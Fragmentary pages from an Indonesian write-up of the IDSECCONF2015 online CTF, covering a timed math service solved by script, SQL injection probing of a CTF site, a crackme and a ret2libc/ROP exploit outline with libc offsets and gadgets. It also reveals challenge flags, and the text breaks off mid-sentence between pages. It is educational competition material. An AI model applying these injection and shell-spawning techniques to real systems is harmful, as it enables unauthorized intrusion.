2.
IMFTest 250 Points
Pada challenge ini kita diharuskan untuk melakukan koneksi TCP ke 128.199.218.190 pada port 17845.
$ nc 128.199.218.190 17845
../`) ,. ,. ________
..')| / || |
/ `' | , / , || .'
`'`"`| |_ /| || _|____
.. | _( )_/ | ||_( )_ |
| | | (_ o _) | |(_ o._)__|
| | | (_,_) | ||(_,_)
| | | | | || |
'' '' ''''
**********
Selamat Datang Di
IMPOSSIBLE MISSION FORCE Testing Center
Sektor Mampang Prapatan
**********
Calon Agen Harus Menyelesaikan Perhitungan Berikut:
Selesaikan Dalam Waktu 10.00 Detik Perhitungan Ini: 72 *
Isi dari service ini adalah rentetan soal matematika yang harus diselesaikan dengan sangat cepat, bahkan
salah satu soalnya adalah kita harus menghitung fungsi turunan dalam waktu 0.585277 detik. Karena
mengerjakan semuanya dengan cepat tidak feasible maka kita harus membuat program yang akan
melakukan koneksi ke service, melakukan parsing terhadap soalsoal yang diberikan, selesaikan soalnya,
dan kirim jawabannya ke service.
Ada tiga bagian dari pertanyaan yang diberikan, yaitu perkalian, sistem persamaan linear dua variabel, dan
fungsi turunan. Saya menggunakan python karena mudah untuk melakukan socket programming. Adapun
saya tidak memakai library matematika tambahan apapun karena sesungguhnya perhitungan yang
diperlukan cukup sederhana.
Berikut adalah script yang saya gunakan untuk menyelesaikan challenge ini.
importsocket
defconnect():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('128.199.218.190',17845))
returns
defspl_solve(first_equation,second_equation):
y1=int(first_equation[2][0:-1])
y2=int(second_equation[2][0:-1])
x1=int(first_equation[0][0:-1])
x2=int(second_equation[0][0:-1])
Write Up Online CTF #IDSECCONF2015 farisv
5.
Web Hacking
theNOCweb 150 Points
Satusatunya web hacking challenge pada CTF ini adalah sebuah situs yang mempunyai
beberapa halaman berita dan layanan untuk melakukan ping ke alamat tertentu.
Pencarian celah sql injection flaw dapat dilakukan dengan mudah dengan menambahkan single quote/'
pada parameter id di view.php.
http://128.199.188.104/idsecconfweb/view.php?id=1'
Couldnotgetdata:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondsto
yourMySQLserverversionfortherightsyntaxtousenear''1'''atline1
Setelah mencoba melakukan beberapa kali injection, dapat diperkirakan bahwa SQL query yang berjalan
adalah select * from table where id='$id' sehingga injection yang harus kita masukkan di id adalah '
[injection_query] a
Perhatikan bahwa setelah sebaiknya ada spasi dan karakter sembarang agar nantinya tidak langsung
menempel dengan ' sehingga tidak terjadi syntax error. Selanjutnya akan dilakukan query order by untuk
mengetahui jumlah kolom dari tabel yang sedang diselect. Akan didapat bahwa jumlah kolom adalah 3
karena ketika order by 4 akan keluar pesan error.
http://128.199.188.104/idsecconfweb/view.php?id='orderby3--a(normal)
http://128.199.188.104/idsecconfweb/view.php?id='orderby4--a(Unknowncolumn'4'in
'orderclause)
Write Up Online CTF #IDSECCONF2015 farisv
11.
..
mov rax,[rbp+ptr]
lea rdx,[rax+3]
mov rax,[rbp+ptr]
movzx eax,byteptr[rax+4
..
mov rax,[rbp+ptr]
add rax,6
mov byteptr[rax],21h
Singkatnya, jika rbp+ptr ditranslate menjadi array pada pseudocode maka kirakira seperti ini :
array[0]=0x6a
array[1]=0x6f
array[2]=0x6b
array[5]=array[1]
array[4]=array[5]
array[3]=array[4]
array[6]=0x21
Karena 0x6a = j, ox6f = o, 0x6b = k, dan 0x21 = !, maka dapat disimpulan rbp+ptr atau rbp420h atau needle
adalah ‘jokooo!’. Masukkan string apapun yang mengandung ‘jokooo!’ ke layanan yang ada di server untuk
mendapatkan flag.
$ nc128.199.218.19015178
Canudebugme,bro.
Hmmm,sinceyou'rehere...Whomi?jokooo!
Nice...flag{dirgahayu_RI_70_brooo}
Flag : dirgahayu_RI_70_brooo
Write Up Online CTF #IDSECCONF2015 farisv
20.
1) libc atau C library adalah kumpulan fungsfungsi standard yang dipakai oleh program C, misalnya
printf(), scanf(), dan juga system(). Program yang dicompile dengan C secara default akan melink
ke library ini untuk memanggil fungsifungsi yang diperlukan. Tiap komputer mungkin menggunakan
libc yang berbedabeda tergantung versinya. Pada challenge ini, diberikan libc yang dipakai oleh
program pada server.
2) system adalah fungsi untuk mengeksekusi shell command. system(“cat /etc/passwd”) akan
menjalankan ‘cat /etc/passwd’ dan system(“/bin/sh”) akan menjalankan shell.
3) Offset Address adalah jarak sesuatu dari awal address (base address). Contoh, misalnya base
address dari libc adalah X dan offset dari suatu fungsi dari libc tersebut adalah 0x4008e5 maka
address aslinya adalah X+0x4008e5. Offset ini tidak berubah namun X bisa berubahubah karena
ASLR.
Apa yang terjadi kalau kita memanipulasi program agar memanggil system(“/bin/sh”) dari libc? Kita akan
mendapatkan akses shell melalui program tersebut. Kita dapat melakukannya dengan buffer overflow dan
itulah tujuan dari challenge ini. Eksploitasi yang dapat dilakukan adalah ROP (Return Oriented
Programming) di mana kita akan membuat program menjalankan instruksi assembly yang sudah ada di
library maupun binary (gadget) untuk mengreturn ke sesuatu yang sudah ada juga baik di library ataupun
binary.
Seperti pada pwn easy, di sini kita akan mengoverwrite rip (instruction pointer). Overwrite rip menjadi
gadget atau instruksi yang sedimikian sehingga kita bisa call system(“/bin/sh”). Sebelumnya ada hal penting
yang harus kita ketahui terlebih dahulu, yaitu offset dari system (supaya kita bisa mengetahui base address
libc) dan “/bin/sh” (ya, string “/bin/sh” bisa ditemukan di libc). Saya menggunakan libc database
https://github.com/niklasb/libcdatabase.
[libc-database]$ ./addlibc.so.6
Addinglocallibclibc.so.6(idlocal-1f18479f19ee690de8aab335fafd244c8aa6f17c libc.so.6)
->Writinglibctodb/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.so
->Writingsymbolstodb/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.symbols
->Writingversioninfo
[libc-database]$ ./dumplocal-1f18479f19ee690de8aab335fafd244c8aa6f17c
offset___libc_start_main_ret=0x21ec5
offset_system=0x0000000000046640
offset_dup2=0x00000000000ebfe0
offset_read=0x00000000000eb800
offset_write=0x00000000000eb860
offset_str_bin_sh=0x17ccdb
Terlihat bahwa offset dari system() adalah 0x46640 dan offset dari string “/bin/sh” adalah 0x17ccdb. Berarti
untuk mendapatkan base address libc, baca address yang dikeluarkan program kemudian kurangi dengan
Write Up Online CTF #IDSECCONF2015 farisv
24.
400466: 6801000000 push 0x1
40046b: e9d0ffffff jmp 400440<_init+0x28>
0000000000400470<__libc_start_main@plt>:
400470: ff25b20b2000 jmp QWORDPTR[rip+0x200bb2] #601028
<_GLOBAL_OFFSET_TABLE_+0x28>
400476: 6802000000 push 0x2
40047b: e9c0ffffff jmp 400440<_init+0x28>
0000000000400480<__gmon_start__@plt>:
400480: ff25aa0b2000 jmp QWORDPTR[rip+0x200baa] #601030
<_GLOBAL_OFFSET_TABLE_+0x30>
400486: 6803000000 push 0x3
40048b: e9b0ffffff jmp 400440<_init+0x28>
Fungsi dari PLT adalah untuk memanggil fungsi eksternal yang alamatnya tidak diketahui ketika linking.
Untuk melakukan resolve address, digunakan GOT atau Global Offset Table. Bisa dilihat bahwa ketika
program membaca sesuatu, maka yang dicall adalah read@plt.
$ objdump-Mintel-dpwn|grep"read@plt"
0000000000400460<read@plt>:
40059f: e8bcfeffff call 400460<read@plt>
Sebenarnya ketika program membaca masukan, read yang dipakai adalah read milik libc. Nah, kalau kita
berhasil membaca GOT dari read@plt (0x601020)ini sebenarnya merujuk ke address mana ketika
program berjalan, maka kita bisa dapatkan libc base address dengan mengurangi address yang didapat
dengan offset dari read() milik libc yang diberikan pada challenge ini.
Pertama, kita akan mencoba untuk melakukan write. Kita bisa mengatur instruction pointer menjadi
write@plt (0x400450), namun sebelumnya kita harus mengisi register rdi dengan 0x01 (agar bisa
melakukan write) dan rsi dengan alamat GOT read@plt (0x601020). Oleh karena itu kita akan mencari
gadget untuk pop rdi dan pop rsi. Di sini saya memakai http://ropshell.com/ untuk mencari gadget dengan
mengunggah binary dari challenge ini ke situs tersebut terlebih dahulu.
http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rdi
ropshell>searchpoprdi
found1gadgets
>0x00400643:poprdi;ret
http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rsi
ropshell>searchpoprsi
found1gadgets
>0x00400641:poprsi;popr15;ret
Write Up Online CTF #IDSECCONF2015 farisv